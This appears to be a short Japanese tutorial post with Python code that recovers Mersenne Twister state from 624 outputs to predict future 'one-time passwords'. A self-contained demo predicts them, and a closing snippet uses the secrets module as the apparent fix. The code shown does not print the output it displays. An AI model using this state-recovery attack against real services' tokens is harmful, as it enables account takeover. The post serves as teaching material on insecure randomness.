2段階認証のワンタイムパスワードをクラックする方法

from __future__ import annotations

import random
from typing import ClassVar, List, Tuple


class MT19937Cracker:
    MASK_32: ClassVar[int] = 0xFFFFFFFF
    N_WORDS: ClassVar[int] = 624 

    @classmethod
    def _invert_right_xor(cls, y: int, shift: int) -> int:
        """x ^ (x >> shift) = y を解く"""
        x = y
        for _ in range(32 // shift + 1):
            x = y ^ (x >> shift)
        return x & cls.MASK_32

    @classmethod
    def _invert_left_xor_mask(cls, y: int, shift: int, mask: int) -> int:
        """x ^ ((x << shift) & mask) = y を解く"""
        x = y
        for _ in range(32 // shift + 1):
            x = y ^ ((x << shift) & mask)
        return x & cls.MASK_32

    @classmethod
    def untemper(cls, y: int) -> int:
        """MT19937 出力 32bit を内部ワードに戻す（逆テンパリング）"""
        y = cls._invert_right_xor(y, 18)
        y = cls._invert_left_xor_mask(y, 15, 0xEFC60000)
        y = cls._invert_left_xor_mask(y, 7, 0x9D2C5680)
        y = cls._invert_right_xor(y, 11)
        return y 

    @classmethod
    def recover_state(cls, outputs: List[int]) -> Tuple:
        """
        MT19937 から得た 32bit 整数 624 個を untemper して
        random.Random().setstate に渡せる状態タプルを返す。
        """
        if len(outputs) < cls.N_WORDS:
            raise ValueError(f"{cls.N_WORDS} 個以上の 32bit 出力が必要です。")

        mt_words = tuple(cls.untemper(o) for o in outputs[:cls.N_WORDS])
        return (3, mt_words + (cls.N_WORDS,), None)

    @classmethod
    def clone_from_outputs(cls, outputs: List[int]) -> random.Random:
        """
        収集した出力列から内部状態を復元し、
        同期した random.Random インスタンスを返す。
        """
        rng = random.Random()
        rng.setstate(cls.recover_state(outputs))
        return rng

    @classmethod
    def demo(cls) -> None:
        # 被害者の乱数生成器（seed は未知とする）
        victim = random.Random(123456789)
        otps: List[int] = [victim.getrandbits(32) for _ in range(cls.N_WORDS + 10)]

        # 攻撃者が盗聴した 624 個の出力
        captured = otps[:cls.N_WORDS]

        # 内部状態を復元してクローンを生成
        attacker = cls.clone_from_outputs(captured)

        # 625 個目以降を予測
        predicted = [attacker.getrandbits(32) for _ in range(10)]
        ground_truth = otps[cls.N_WORDS : cls.N_WORDS + 10]

if __name__ == "__main__":
    MT19937Cracker.demo()

>>>
▷ 予測値  :  [483830225, 3158136471, 4148883372, 2750127010, 3482603909, 123111939, 2893667825, 4068793399, 4276382171, 1401715985]
▷ 真の値  :  [483830225, 3158136471, 4148883372, 2750127010, 3482603909, 123111939, 2893667825, 4068793399, 4276382171, 1401715985]
▷ 一致確認:  True

import secrets
secure_str : str = ''.join((secrets.choice(string.ascii_letters) for i in range(length)))